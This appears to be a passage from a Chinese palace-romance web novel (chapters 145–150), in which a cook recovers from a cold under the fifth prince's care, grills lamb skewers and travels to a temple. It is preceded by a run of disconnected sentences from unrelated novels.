只要她轻轻ー动手,我就能见到预言之神了。”江 晨笑着-看向维斯。
“那个…不同意也没关系的,蕾缇希娅她…”见林默笑起来,蕾缇希娅慌了,急忙摆了摆手。
将闾一阵发呆一阵失神,老子和月神的事情属于绝密,就连大司命和少司命都不知道,父王和尉缭怎么都知道了。
艾俄洛斯的脸色难看,艰难的起身,气息也在这一刻极为虚弱了,不过却一步未退。
天雀长老的眼神一阵变幻,最终他认怂了,原本从他体内不断散发出来的威压也停止了释放。
曹军冒着箭雨,拼力向前冲击,打了半天,扔下无数尸体,勉强推进到蜀营门前,又被营中冲出的长枪兵一顿乱刺,给逼了回来。
知道这个时候他们方才想起来,这里可没有什么言论自由,所说的话人的强者不高兴,被杀那也是活该。
在这个多事之秋,失去了五仙观这个大靠山,对唐家来说是个很大的打击。正值用人之际,唐家也急需要寻求新的靠山。就在这个时候,沙家帮找上了门来。
第一卷 第145章 委屈
这件事儿我知道李哥你难做,所以这点意思其实不是给李哥你自己的,咱报社那边资金也紧张,你们集团老总也总要考虑多方面,所以这点钱不多,先算我们一点心意。
厉灏睿双手插在自己的腰际,随后便转过身去,看着远处的风景,这两个都闭上眼睛,不想去看面前的一些事实。
尽管在训练的时候也不是没见过,但是每一次都是害羞的将目光移开。
“算了,你给我找一套睡衣,我想去洗澡,累死了。”韩七七随意倒在顾辰得床上,反正又不是第一次和他睡一个床上了,韩七七也就没在矫情了。
“还不是萧墨把我给气的,你们这些男人呀,都没有一个好东西。”梁明月也没有拒绝,而是十分没好气的说道,然后还淡淡的瞥了一眼他。
车子缓缓减速,路上沈婉音都要睡着了,才看到不远处的一面高高的大墙,上面两个大灯发出微弱的光亮。
大概中国的每个父母都是这样吧,谦虚的说着自己孩子的缺点,把孩子的优点在心里扩大到完美,确不好意思表达。
准确的说,它们图谋桑泊底下的封印物,这个封印物对他们有什么用处?
即便如此,北溟派掌门可不是像飞崖峰一家三口那样的闲人,风掌门只停留了一天,拜见完程立他们后,便赶回北溟派去了。
“谁特么敢打老子。”被人从背后偷袭了,荣皓轩立马愤怒的跳起来,一只手直接用力挥过去。
老板是个长相偏清秀的男生,性格也很温和,因为身体原因,不能去碰格斗,但却很热爱格斗这件事情,所以才会在这里弄一个格斗的地方。
跟昨晚一样的问话,知道他如果不回答她就会进来,回答她也会进来,他干脆躺在床上不理会。
魏泽杨仍旧阴沉着脸不说话,那双眸子很深,却让人猜不透他的想法。
那管家即刻念了出来,众人一听皆是目瞪口呆,竟是冯夫人让自己的丫鬟去勾搭那贺三郎,然后又让贺三郎去钓萱儿上钩,然后将沈伴生给弄进府邸里,而那晚他如何杀了萱儿的事情亦是说的清清楚楚的。
“不要怀疑,我就是月娘,这是原原本本的样子。”月娘见一些人脸上的疑惑,解释道。
赵雍点头,他虽然不怎么喜欢这些花花草草,但也觉得这些花挺好看的。毕竟能够放在皇宫御花园里的,都不会是普通的凡品。
还有村长筹集的钱,召集开会时,她家也募捐了一块钱,心疼得她一天没吃下饭。
他也知道了新闻和热搜的事,大概能猜到余舟晚被老师叫去的原因。
杨宇打量着出现在眼前的古城,整个城池透露出一股苍凉的感觉,杨宇注意到在城墙之上存在着不少的武器划痕,这座古城也不知道被埋藏了多久,但出现在众人眼前的似乎仅仅只是一座空城。
站在广场中央的,正是冉闵,此时此刻,他赤着胳膊,乌黑的长发用一根红‘色’丝带绑住,薄‘唇’紧紧抿成一线。
夏侯惇、夏侯渊二人见曹操如此说,还能再说些什么?只好无奈点了点头。
最终还真被他们找出了一些应对之策,比如说‘防护箭矢’这个法术,就能有效的防御子弹。
睁大了眼睛,雨梨盟的其他成员都似乎对于何清凡的表现有些吃惊,在普通人看来,大陆天才榜的第七人来到了自己的面前,再这么样也会有些错愕,可是何清凡却表现的如此淡定,可真是让人吃惊呢?
那马车直冲冲而来,在经过拱门时,它没有停下,而是长驱直入。
可是不要忘记,现在却是魔力大潮时期,任何法术的威力都会成倍的提升,而释天帝麾下的火箭炮,恰好就是法术攻击。
江城策的话让巫琳娜和金智妍很是尴尬,瞬时,别墅内的气氛低到了冰点程度。
“有什么事儿,憋不住了,就跟我们说一下。不丢人。”王梓涵缓缓说道。
不过刘莽多虑了,这是世纪初,风气如此,这种不痛不痒的撒野裁判警告了一下就完了,其他人也见得多了,不像刘莽这么担心,也不像当事人、另一个菜鸟加索尔那么敏感。
古家很失望,没有见到什么值得他们惊奇的人或者物,家族古碑无缘无故光柱冲天似乎只是偶然,他们想多了。
这个做起来简单还是其次,最要紧的,其实还是这个用料简单,不容易叫人做手脚。
“哼哼,现在可以说了吧,敢骗我们要你要看!”唐豆豆威胁道。
巴图受伤了,要知道,鸿蒙天可是完全封闭的,她原本以为,三足鸟人在这里,应该是绝对安全的。
还有那个栖身在了洛言方仙身边的鸿蒙子,那个该死的冒牌货,他竟敢让玉手难堪难过。
上千头战象狂奔而来,象兵马兵步兵,起码有三万蛮兵杀了出来。
他知道,老板也未必就是那么看重金钱,不然,他也不会每年都会投入那么庞大的基金搞慈善事业,他一直都看不懂古齐昊,古齐昊是一个极为复杂的人,很深沉,即便呆在他身边很多年,但是他也从来没有真正的了解过他。
第146章 怀疑
锦婳坐在廊下看星星,竟窝在双腿间睡着了,天蒙蒙亮有宫女陆陆续续从房里出来,看见锦婳睡在廊下,便拍了拍她。
有好心宫女关切道:“怎么就在外睡了一夜,也不怕着了风寒?”
那宫女又看了看天,对锦婳道:“这个时辰主子们都还睡着,你不如也回屋再去睡会儿,窝在棉被里暖和暖和,免得着了风寒!”
锦婳感激地点了点头,撑着地想站起来,奈何昨夜坐了一夜,腿没有力气,实在站不稳。
那好心的宫女见锦婳挣扎了几次都站不起,便蹲下帮她揉早已经木了的腿:“可是坐了一夜,把腿坐麻了?怎么这般地不知爱惜自己?”
“我们都是背井离乡独自在宫里讨生活的奴婢,若是自己都不知爱惜自己,即便是**也不会有人为你落一滴泪,日后可万不敢这般的作践自己了!”
锦婳点点头,这婢女说的这般话,也是掏心窝子的好话了!
她在大乾皇宫里步履维艰的忍辱偷生了九年,怎会不知奴婢们在宫里生活的艰辛和酸楚。
一个不小心得罪了主子,哪怕是得罪了主子身边的脸的丫鬟,也极有可能就此消失在这**的宫廷之中。
锦婳点点头感激道:“多谢姐姐提点,不知姐姐姓名?在哪个宫里做事?”
那婢女帮锦婳揉着腿,抬头笑着看锦婳到:“我叫阿香,是三皇子宫里的一等女使。”
看年纪和样貌,又住在身后这样的单间里,自己早该猜到这婢女是一等女使了。
锦婳点点头笑着道:“那我便唤你阿香姐姐了,今日还要多谢姐姐的提点。”
锦婳的腿已经不麻了,被阿香搀扶了起来,看阿香往三皇子殿中去了。
锦婳回屋又趴了一会儿,鼻子有些不通气,又用手背摸了摸额头,也有些温热,看样子是着了风寒。
一会儿与小安打听打听,太医院在哪,去讨些柴胡来煮水喝,明日应该就会好了。
锦婳想到这,难免一惊,自己何时懂了这些药理?自打自己这次醒来,便觉得奇怪得很!
锦婳鼻子不通气,头昏脑涨,眯了一会儿便睡着了。
再醒来时,已是辰时了!
主子们该是都已经醒了,正是洗漱的时候。
锦婳套了衣服,赶紧往御膳房跑!
锦婳到御膳房的时候,五皇子殿的婢女阿娇和小安早已经在御膳房门口翘脚焦急地等她了!
“锦婳姐姐!你可来了!五皇子殿下已经醒了,正等着用早膳呢!”
看样子小安等她已经急得满头是汗了。
阿娇也是带着一丝埋怨道:“是啊!锦婳,你今日怎么来得这样晚?若是让五皇子殿下饿肚子,是要受罚的!”
锦婳抱歉道:“让你们跟着着急了,原是我的错。是昨日夜里着了些风寒,今日一早竟一时没起来。”
阿娇关心道:“姑娘怎么这般的不知加小心,可吃了药?”
锦婳摇摇头道:“我先去给五皇子殿下做吃食,一会让小安带我去太医院讨些药来自己煮着吃便是了。”
锦婳在小厨房里忙活,小安跟着打着下手。
早上起得晚了,早饭也只能做得凑合将就些了,好在这几日看下来,五皇子殿下对吃食并非挑剔之人。
早饭锦婳用山药蒸熟碾了泥,打了鸡蛋和了冰糖,搅合在一起烙了软软的饼子。
又用猪骨、鲜藕、姜黄煮了汤,姜黄对解毒有一定的功效,不管五皇子殿下的舌头失了味觉是否为**所致,吃些姜黄总没有坏处。
锦婳手脚麻利,又有小安在旁打下手,不到半个时辰就做好了五皇子的早膳。
阿娇笑意盈盈地端着吃食出了门,这锦婳姑娘手艺真是了得,刚刚还以为今日的早膳要迟了,自己免不了要挨顿训的。
阿娇加快脚步,紧赶慢赶,五皇子还是已经坐在桌前等待了。
阿娇惶恐着脸硬着头皮进了五皇子殿内,将膳食小心翼翼地放在南宫宸面前的桌上。
南宫宸看着桌上的膳食皱眉问道:“今日的早膳怎么晚了些?"
阿娇吓得跪地道:“奴婢该死,还请殿下责罚!”
“今日奴婢早早便等在御膳房了,只不过锦婳姑娘昨日夜里着了风寒,今日清早一时没起来,故早膳迟到了些。”
南宫宸拿起
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一张山药饼,挑眉看,哦?生病了?
“起来吧,去找个太医给那丫头瞧瞧。”
阿娇恭敬道:“是!殿下。”
退出五皇子殿内,阿娇回头悄悄瞧了瞧五皇子,殿下何时这般地关心过奴婢?
看来那锦婳姑娘真的是要好好恭敬着,万万不可怠慢。
南宫宸拿起一块山药饼,软糯香甜,与前几日的膳食一样,能尝出淡淡的甜味。
这几日他也看了些医书,大致也了解了些锦婳做膳食的套路,无非就是药食同源、循序渐进的道理。
今日这山药饼便是生津的良物。
不过……
今日这猪骨鲜藕汤里黄黄的东西放的是什么?
南宫宸拿起勺子尝了一口汤,略微有些辛辣的味道。
又拿起一块里面的黄东西端详了片刻,这辛辣之味像是……姜?
前几日在医书上看到姜黄可入药,有解毒的功效,看来这丫头是怀疑他这舌头是**所致。
好一个聪明机灵的丫头!
若自己真是自小便**,南宫宸不敢往下去想……
父皇母后恩爱,后宫也只有两位良妾,还是父皇登基前一直伺候父皇的侍妾。
两位良妾也是有福之人,徐妃生下了长公主,周妃生下了二公主。
如今两位公主都已出嫁和亲,同驸马过的也是和美,母后一直也善待这两位妃嫔,后宫一向和美。
父皇登基后娶了柱国大学士的嫡长女为后,也就是南宫宸的母后。
不知是父皇专宠还是母后有手段,后宫两位妃嫔自打母**宫就再无所出。
母后的肚子也是争气,先后生下了三皇子、四皇子、五皇子、六皇子和七公主。
三哥性情谨慎、严肃,最得父皇器重。
四哥资质平庸了些,父皇并未予以重任,只掌管些各地芝麻蒜皮的蝇头小事。
自己与六弟生于南启国最为动荡的年份,那几年南启与周围邻国战争不断,母后整日处于优思之中,自己与六弟生来便先天不足,南宫宸舌头没有味觉,六弟南宫沅更是体弱多病,需要养在寺庙才能得佛祖庇佑,勉强养活到今日。
第147章 风寒
母后因此格外心疼他与六弟,总想着是自己当年怀身孕时身子不好影响了自己的两个孩儿。
若是说自己自幼舌头失去味觉是**所致,那六弟的身子如此孱弱,是否也是因为**?
南宫宸心内一惊,顿时满身的冷汗,一向待兄弟几人亲厚的三哥,竟会给自己的亲弟弟下毒?
看来锦婳那丫头留着还是有些用处的!
想到锦婳碰巧今日得了风寒,索性自己便带着太医亲自去探望,以示关怀,总等感动那丫头一二。
南宫宸带着太医来到锦婳的住所,白日里锦婳的房门紧闭,想来是在睡觉。
南宫宸吩咐侍女去敲门,片刻过后,门内没有响动。
南宫宸有些担忧,想着那丫头染了风寒不知会不会晕在房内。
刚想着推门进去,又想到男女有别,虽是厨娘,但也是女子的闺房,那丫头又还没有嫁人,怕毁了姑娘家的清白。
正两难之间,听见屋内有人梦呓的声音,仔细听了片刻,是锦婳在叫:“公子。”
南宫宸硬着头皮推门而入,见锦婳卧在床榻上,小脸烧得通红。
睡梦中呓语着:“公子……公子……”
眼角还有泪痕。
这丫头烧成了这样,睡梦中还在流泪喊着的那个公子,究竟是何人?
怪不得这丫头只称民女,并不自称奴婢,看样子是心里有人了,做梦都想着出宫与那男子团聚呢!
锦婳烧得晕晕乎乎的,南启国白日里那么暖,怎么夜里竟这般的凉。
一个不小心就把自己吹得着了风寒,而且还这么重。
流放一路那么冷,又没有棉衣穿,自己都没得风寒,没想到竟被南启国夜里的风吹成了这幅模样。
寻不到公子,就连风都欺负她!
锦婳越想越委屈,竟流了几滴泪出来。
朦胧中睁开眼睛,竟好像看见有人站在她床前。
她的眼睛烧得通红,人又迷迷糊糊,床前的人影模糊,只能看见轮廓,恍惚中,她好像看见了陆卿尘的面容。
锦婳用尽力气想去拉住那人的手,冰冷、没有温度,是陆卿尘的手无疑了。
她都这般的来南启国寻他了,他怎么就这么的狠心,非要等她病成这样才肯出现。
想到这些,锦婳难受得撇了撇嘴,将那人的手拉得更紧了些,喃喃了几句:“公子,你终于肯来看我了……”
锦婳烧得难受,滚烫的手紧紧拉着那冰凉的触感舍不得放开。
哽咽了几声,锦婳又迷迷糊糊地再次睡了过去。
南宫宸几次想将手抽出来,却都未成功。
每次想抽出手,床榻上那烧得通红的人总会皱眉、撇嘴,反倒将他抓得更紧了些。
南宫宸见床榻上的人实在是难受得紧,竟动了恻隐之心,右手任由那人握着,侧头瞥了太医一眼,放低声音道:“愣着做什么,还不快给姑娘诊脉?”
声音虽轻,可那太医听了却是胆战心惊。
那太医赶忙拿了医药箱上前为锦婳诊脉。
太医院的太医到底是手有两把刷子的,不过片刻便为锦婳诊完了脉。
太医退后恭敬道:“禀五皇子殿下,这姑娘只是受了风,感染了风寒,并无大碍。”
“待微臣开了方子,抓了药,交由宫人去熬了,喂姑娘喝下,两三日便可痊愈。”
南宫宸听了松了口气,微微点了头,太医和宫人们都识趣地退了出去。
熬药的间隙,锦婳好像更难受了,也不知是做梦还是怎的,竟皱眉小声地抽泣起来。
南宫宸看她烧得小脸通红,在床榻上瘦瘦小小的一只,蜷缩成一团,竟有了一丝心疼。
不经意地竟用手回握住床上的人,另一只手轻轻拍在她手上,安抚着床上的小人。
婢女悄悄推门而入,也是被眼前的一幕惊在了那。
她看见了什么!
五皇子殿下在拉着锦婳的手,安抚她!
婢女不敢轻举妄动,站在门口愣了一会儿,进退两难,生怕打扰了床榻上双手紧握的两人。<
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br>南宫宸发现门口有人,便侧头道:“还站着干什么?还不快把药喂姑娘喝了!”
那婢女应声上前,拿起勺子,喂锦婳喝药,锦婳却好似尝出了苦味,喝了一口便皱眉不再张嘴。
南宫宸见那婢女笨手笨脚,喂不进药,略微带着怒气道:“没用的东西!”
那婢女吓得立刻放下药碗,跪在地上道:“奴婢知错,殿下恕罪!”
南宫宸带着怒气看了一眼地上惶恐跪地的婢女,真是让人心烦,动不动就奴婢该死,奴婢知错,殿下恕罪。
还会不会说些别的,千篇一律的婢女,都似一个个没用灵魂的人,哪似锦婳这般的活灵活现。
南宫宸看着就觉得烦,怒斥了一声:“滚出去!“
那婢女也是被吓得够呛,连滚带爬地滚了出去。
南宫宸一手被锦婳握着,实在抽不出,只得把药放在床沿上,拿起勺子一小口一小口地喂锦婳。
见锦婳还是皱眉撇嘴不肯喝,南宫宸竟难得地压低声音,好言好语地相劝道:“良药苦口,你不喝药病如何能好得了?”
见锦婳还是不为所动,一副打死不喝,油盐不进的模样。
南宫宸无奈拿出绝招,威逼利诱道:“若你是不喝药,就这么烧**,我就把你扔到枯井里,让你的家人连尸骨都寻不到!”
“但若是你肯喝药,等你病好了,我便带你出宫去南启国最灵验的大悲寺烧香祈福。”
“那可是只有皇家人和身份尊贵的皇亲国戚才能进入的寺庙,这可是普通百姓求几辈子也求不来的福气!”
果然说完这套说辞,南宫宸又喂了一口药,锦婳虽还是皱眉,但也硬生生的咽下了。
还记得小七小时不吃药时,自己就是这般威逼利诱,唬她喝药的,而且每次都成功,屡试不爽。
锦婳虽身子骨看着小一些,但看样子也有十七八了,怎么脾气还像个小孩子一般。
南宫宸看着眼前的锦婳竟面上浮现了一丝难得的笑意。
第148章 烤串
许是昨夜没睡好,加上着了风寒,锦婳这一觉睡得格外的沉一些。
醒来时已是傍晚,锦婳自觉睡得久了些,猛地一惊!
糟了!五皇子的膳食!
锦婳强忍着头疼坐起身来,还是有些头晕,嘴里都是苦涩的味道,细细品了品,是汤药的味道。
难不成自己睡着时,有人给自己喂了药?
南宫宸感觉床上的人轻微地蠕动了一下,一双被他握得温热的小手也抽了出去,揉在她自己有些酸痛的头上。
紧接着那小人好像想起了什么,猛地坐起身,吧唧了几下嘴,皱眉好像在品味着什么。
南宫宸觉得床榻上睡蒙了的人可爱极了,再也忍不住嘴角的笑意,沉声问:“醒了?”
锦婳猛地一惊,怎么她房内有人?还是个男人!
锦婳错愕的眼神,缓缓转头看过去,竟是五皇子!
又猛地朝窗外看去,天色都已经见黑了,看样子已经错过了两顿膳食。
五皇子定是饿坏了,也气坏了,否则怎会亲自来她的房中寻她!
死定了!死定了!
人家可是皇子啊,让皇子饿了两顿,按照南启国律例该如何处置?该不会**吧?
她就是命苦,伺候完太子,又伺候皇子,这回还是个舌头有毛病的皇子,一个闪失,小命就没了!
她一个小厨娘怎么就和皇宫和皇子那么有缘呢!
说到底,这次是她的错,也别绷着了,赶紧赔罪吧!
兴许这阴晴不定的五皇子肯开恩,看在她会做饭,还有些用处的份上,能留她一条小命!
锦婳慌忙起身跪在床榻上,对五皇子恭敬磕头道:“民女该死,耽误了殿下用膳,还请殿下责罚!”
南宫宸眉头微挑,这丫头也有害怕的时候,他还以为她的骨头有多硬呢!
南宫宸询问道:“好了?”
锦婳抬起头,看这五皇子好像并未生气,反倒一副饶有意味的目光看着她。
锦婳蒙蒙地看着南宫宸,轻轻点了点头道:“民女没事,只是着了风寒,不碍事的。”
南宫宸见锦婳的面色的确是好了许多,便佯装可怜道:“若是好了,便起床给本王做吃食吧,本王已经饿了一日了!”
锦婳慌忙起身,下地穿鞋。
推开门,已经是夜色朦胧。都这个时辰了,跑到御膳房再跑回来就要半个时辰,再加上准备食材的功夫,至少也要一个时辰,五皇子的肚子已经一天没进食了,可还等得了。
人在肚子饿的时候总是情绪不定的,这五皇子的脾气本就难以捉摸,若是他因为肚子饿,一个生气砍了自己的头可怎么办!
锦婳灵机一动,想到自己在苍狼太子殿时,与那两个长相酷似大汉的婢女也学到了一手烤羊肉串的手艺。
羊肉串可以一边串串,一边烤,一边吃。
那五皇子先将肉吃到了嘴里,责罚自己的几率应该也会小一些吧!
南宫宸见锦婳下炕、穿鞋,一气呵成。
又飞奔到门口,猛地停下,眼睛看着门外滴溜溜地转,好像想到了什么。
又觉得这丫头很是可爱,强压制着嘴角将要泛起的笑意,故意压低声音道:“可是想到了什么?”
锦婳回过身,竟看着五皇子奸笑起来。
五皇子被锦婳看得笑得发蒙,不一会儿,院子里便支起了炉火架子。
五皇子公里的宫人婢女都在跟锦婳学着串羊肉串,五皇子则坐在炉火旁烤着火。
众人拾柴火焰高,不一会儿就串了几十串。
趁着大家串串的功夫,锦婳先在炉火上烤了第一把羊肉串。
锦婳干活,做吃食都用心细致。哪怕是烤羊肉串也时刻关注着炉子里火焰的大小。
若是火大,锦婳便将肉串拿高些,免得烤焦了。
若是火小,锦婳便往里添柴,那把肉串不过一会儿功夫便烤得滋滋冒油。
眼看就要烤熟了,锦婳撒上一把调好的烧烤料,香味立刻就冒了出来。
锦婳满意地将烤好的肉串递给南宫宸,笑嘻嘻地道:“吃吧!”
南宫宸闻了闻,香!真香!
特别是他已经一天没有进食了,肚子早就咕咕叫了。
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>只是不知这舌头能不能吃出味道来!
南宫宸试探着尝了一口,羊肉特有的香味儿直达味蕾。
微微的辣味刺激着他的舌头,这羊肉串就好似在他的舌头上跳舞一般。
好吃!实在是太好吃了!
锦婳一脸期待地看着南宫宸道:“殿下,怎么样,可能吃出些许味道来?”
南宫宸又吃了一口,羊肉含在嘴里,含糊不清地说到:“好吃。”
锦婳笑了,这是南宫宸第一次看见锦婳这样的发自内心的笑。
更多的时候,锦婳都是客套的假笑,感激的微笑。
说实话,这丫头这样发自内心的笑,很美!
不知为何,他此刻就想看她多笑笑,便又大口囫囵地多吃了几口羊肉串。
刚烤好的羊肉串还是有些烫,他感觉自己的舌头都烫得起了大泡。
南宫宸被烫出了眼泪,猛地咳了几声。
锦婳见状赶紧把手里正在烤的羊肉串交给宫人,自己飞快地跑进屋内。
锦婳飞快地拿出一个茶壶和两个杯子,给南宫宸倒了一杯茶。
南宫宸喝了凉茶,感觉好多了,只是这茶的味道怎么这般的好喝,酸酸甜甜,不似他这几日在自己宫里喝的茶,尝着总是苦苦的。
南宫宸喝了一杯不够,又拿起杯朝锦婳要了一杯。
南宫宸又一饮而尽,好奇地看着锦婳道:“这是什么茶?怎么有些酸甜的味道?”
锦婳笑嘻嘻地打开茶壶的盖子给南宫宸道:“这是梅子茶,最是生津止渴的好东西!”
“等我要出宫时,将这些配方都交给御膳房的小安,到时让他伺候你!小安那孩子机灵、稳重得很,你用着定会顺手。”
原本吃得笑意盈盈的南宫宸,听锦婳提到出宫,面色竟立刻垮了下来。
即便吃食是一个味道,但想到不是她做的,吃起来也是没有滋味的。
锦婳见南宫宸原本的笑脸不见了,又换成了平日里的那副面孔,心里泛起了疑。
怎么?难不成他还要把自己一辈子绑在皇宫里,给他做一辈子饭不成!
第149章 阿香
南宫宸顿时觉得烤得滋滋冒油的烤串也变得没有滋味了。
瞥了眼锦婳,见她好似在观察着自己的情绪,便板着脸说道:“你总惦记着出宫,是不是想要去寻你的那位公子?”
锦婳一惊!他怎么知道公子的?!
难不成是自己烧得迷糊时,说了什么梦话!
自己怕是没说出什么不该说的吧!
见锦婳有些慌神,南宫宸心里更不是滋味,便放下手里的烤串道:“你既已收了黄金千两,和母后给的赏银。更何况我还给了你一个价值连城的白玉貔貅,你无论如何也要等本王的舌头完全恢复再出宫去找你那位公子!”
锦婳当是什么事呢!
原来这五皇子刚刚生气是因为担心自己不给他治舌头了!
怎么会呢!她自来便不是言而无信之人,更何况拿了人家那么些好处,更是不可能撂挑子走人了!
再说……这南启皇宫她还没好好的打探一番,公子还未寻到,即便是如今赶她走,她都不走!
锦婳噗呲笑了出来,她拍了拍南宫宸的肩膀,又拍了拍自己的胸脯保证道:“五皇子殿下放心便是,我既拿了你的好处,便一定等你的舌头恢复了再出宫去,君子一言,驷马难追!”
南宫宸侧头看了看刚刚被锦婳拍过的左肩,这家伙真是没大没小,不知尊卑,这么多年还没有谁敢拍他的肩膀!
南宫宸刚刚垮掉的脸色稍稍回了温,“嗯。”了一声便拿起烤串继续吃起来。
她刚刚不是说,拿了他的钱财便要等他舌头恢复味觉再出宫吗?那他的舌头便永远不恢复就好了……
想到这,南宫宸脸上一抹贼笑!
两人在锦婳住所的庭院吃完了烤串,趁锦婳收拾炉火,打扫战场的间隙,南宫宸道:“明日本王要去大悲寺祈福,你可想一同去?也正是给你今日好好吃药的奖赏。”
锦婳在这南启皇宫里也是带烦了,每日从住所到御膳房,又从御膳房回到住所,人都看不见几个,无聊极了。
能出去看看,散散心自然是好的。
便点头应道:“多谢殿下,民女愿一同去的!”
大悲寺若是可以祈福那便是更好了,她正好可以为公子祈福平安、安康。
南宫宸晚上吃得很好,又难得地多喝了几杯梅子茶,心里很是畅快。
听见锦婳明日一同去大悲寺,心里更是暗喜,便嘱咐道:“那你快点收拾,明日要早起,早膳就做些简单的带到路上吃。”
锦婳应了声,便见南宫宸和一群宫人奴婢出了小院的门。
南宫宸最后,这日傍晚,小院沸腾了。
住在院落里未当值的宫人都一窝蜂地冲了出来,围着锦婳叽叽喳喳地问:“你可是被五皇子殿下选中了?”
锦婳本来还有些烧着,又看着一地狼藉,更是头疼。
这群人也不知围过来干什么?没一个帮忙干活的,还碍事!
便头也不抬地扫地,没好气地问道:“选中什么?!”
人群中有人尖厉着嗓子,带着嫉妒的音调道:“自然是选中做侍妾了,难不成你还想做皇子妃不成!”
锦婳越听越来气!这群人脑子里想的都是什么乱七八糟的!
给五皇子做饭治舌头就要被她们想象成做侍妾了?
她们这些人是整日里吃饱了没事干吗?一个一个都闲的发慌!
锦婳心烦着呢!更是没好气了,拿着扫把头也不抬头,死劲地挥着手里的扫把将那群叽叽喳喳的宫人轮开!
人群更沸腾了:“诶!这人怎么回事!没长眼睛吗?怎么往人家身上扫!”
“诶!我的新衣服!”
“我的鞋!”
锦婳只头也不抬气呼呼地扫地,一言不发!
这时,人群外有人喊了一句:“都散了吧!小心吵醒了主子们!到时都要受罚!”
果然,那些叽叽喳喳的人都散去了。
锦婳直起身朝那人群外喊话的人看了一眼,竟然是阿香!
阿香朝锦婳笑笑,锦婳也会报以微笑。
阿香朝锦婳走过来,帮着锦婳一起收拾院子里的残羹剩
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饭。
阿香一边收拾一边关切问道:“你的风寒可好些了?今日**活时还一直惦记着你。”
锦婳笑嘻嘻地道谢:“有劳阿香姐姐关心了,吃了药已经好多了!”
阿香瞥了锦婳一眼,嗯,比早上看面色红润了些,的确是好了。
便好言劝慰道:“你也不必与她们置气,她们不过是嫉妒你的主子重视,并无什么坏心。”
锦婳点头称是。
阿香又道:“别说是她们,看到你小小年纪竟有这么大的本事,能医好五皇子的舌头,即便是我,也是打心眼里羡慕的!”
锦婳听了只笑笑不语,她深知身在皇宫之中,嫉妒会要了人的命!
有时不言语要比解释更能救自己于水火!
两人干活就是快,不一会儿功夫,院子里收拾的就和往常一样了。
这个五皇子可真是的,带着那么多宫人奴婢的来混饭,临走也不说留下几个帮她收拾收拾。
真的是做主子的,眼睛里一点活都没有!
吃完了,抹抹嘴,拍拍屁股就走人!
南启的晚上还是天凉,阿香进屋去给锦婳取了件厚衣裳搭在肩上。
两人就你一言、我一语地坐在院子里看月亮。
阿香问锦婳:“外面天大地大,若是日子还能将就着过下去,何苦非要进宫来做厨娘?”
锦婳又不好直说进南启皇宫寻陆卿尘,便只能模棱两可道:“家里也是过不下去了,兄长和弟弟都尚未娶亲,不过是为了黄金千两,让家里日子好过些罢了。”
阿香感慨道:“你还有兄弟,可我家里已经没人了,即便是将来放出宫去,也是无家可归。”
锦婳侧头看阿香,看样子年纪已经二十岁往上了,按理说这个年纪的婢女若不是在主子面前极为得脸,那些名不见经传的婢女早该放出宫去了。
她刚才的说辞,什么放出宫去无家可归,这说法并不成立。
身为皇宫里的婢女,生死全凭主子一言安排,岂是你说不想出宫,便能不出宫的!
第150章 大悲寺
锦婳又试探着问:“三皇子殿下可还好伺候,会不会难为姐姐?”
一提到三皇子殿下,阿香的眼里闪过一丝不易被人察觉到羞涩。
阿香摇摇头,轻轻道:“三皇子殿下对奴婢们都很好,很少会责罚的,倒是三皇子妃……”
锦婳好奇追问:“姐姐可是受过三皇子妃的责罚?”
阿香眼色深沉地摇摇头道:“倒是没有,但三皇子妃却是个泼辣的,贯会管教奴婢,在她那里当值要多加几分小心。”
见锦婳沉默,阿香又道:“三皇子妃并非什么正统出身,不过是赵国公的侄女,其实出身一般,不过是因着赵国公家没有女儿,才飞上了枝头做了凤凰。”
锦婳侧头看阿香,她说这话时,语气意味深长。脸上的那种表情,丝毫不掩饰她对三皇子妃的厌恶。
一个做奴婢的,怎么敢厌恶主子?
锦婳不再开口,唯恐卷入什么纷争。
阿香见锦婳呆呆地看着天上的月亮,自觉自己今日的话说得有些多了,幸好锦婳看着是个老实话少的,便笑笑道:“你明日还要随五皇子殿下去大悲寺,早点回屋去歇着吧!”
锦婳站起身将身上披着的衣裳还给阿香,这衣服的料子很特殊,不像是普通宫婢能穿得上的料子。
这衣服的料子上手一摸,甚至比绸缎还要丝滑几分,锦婳怕阿香看出她识货,只摸了一把便将衣服还给阿香道:“姐姐也早些休息,明日去大悲寺,我也替姐姐求份平安符!”
阿香笑着谢过锦婳,在宫里伺候的奴婢,谁不想求一份平安!
锦婳和阿香各自进了屋,锦婳想,阿香今日披在她身上的衣服料子,与阿香平日里穿的衣服料子截然不同。
今日阿香该是太匆忙顺手便拿了一件出来,或许也是想,她一个贫苦出身的小厨娘,怎会懂得看料子!
锦婳也是累了,躺在床上想着,三皇子妃到底也是赵国公家的侄女,怎么说也该是世家千金,怎的就被阿香说得那般的不堪了。
锦婳翻了个身,想着明日便要去大悲寺了,早就听闻南启国大悲寺是极其灵验的寺庙,没成想还真有机会能去逛逛。
锦婳不觉摸了摸手上的镯子,明日一定要为公子求一份平安才是!
第二日一早,五皇子带着锦婳驾着五辆马车浩浩荡荡地前往大悲寺。
这五皇子出门派头也属实是太大了些,他自己乘坐一辆马车走在最前头。
锦婳和一堆吃食、用品一起乘坐第二辆马车。
一堆的丫鬟婆子、伺候的人乘第三辆马车。
第四辆马车皆是皇后娘娘带给六皇子的吃穿用度。
第五辆马车则是捐给大悲寺的香火银钱。
南启国的大悲寺依山而建,果然宏伟气派。
得知今日五皇子要来,马车还没到大悲寺门前,主持就已经带着众多弟子在门前等候。
五皇子下了马车,便由主持恭敬地迎进了大雄宝殿的后殿。
南宫宸只留了几个贴身伺候的,其余一大群跟随来的丫鬟婆子也都一窝蜂地去拜佛祖了。
锦婳并非是爱凑热闹之人,五皇子身边的人她也不相熟,便一个人往后山溜,想着先去拜拜财神才是正经的!
锦婳是苦过来的,凡事皆是靠自己经营、争取,之前她是不信佛的。
但既然来都来了,拜拜总比不拜要好,锦婳不一会儿便来到了财神殿,跪在了蒲团上,抬头便看到财神爷一张笑脸对着她。
锦婳求了很多赚钱发财的事,最后从怀中掏出些碎银子放进了财神爷的功德箱里。
锦婳从财神殿出来,顺着一条小路往回走,一路上又拜了几个小殿的菩萨,求了几张平安符。
锦婳越走越觉得不对劲,这条路好像根本不是回大雄宝殿的方向,而且越走越偏,前面那个殿门好像还有几个身材高大的人在看守着。
虽然那几个人身上没有带兵器,可看身型便知道,都是会些拳脚功夫的!
锦婳见了便觉得那殿内的人定不是好招惹的,正要转身走时,碰巧听见墙内两人的谈话。
其中一人的声音,让锦婳听了瞪
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大了眼睛,想要逃走的双腿竟打起了颤!
她也想劝慰自己,也许是自己听错了!
可那声音,天生带有一种冷漠的疏离,她再熟悉不过了!
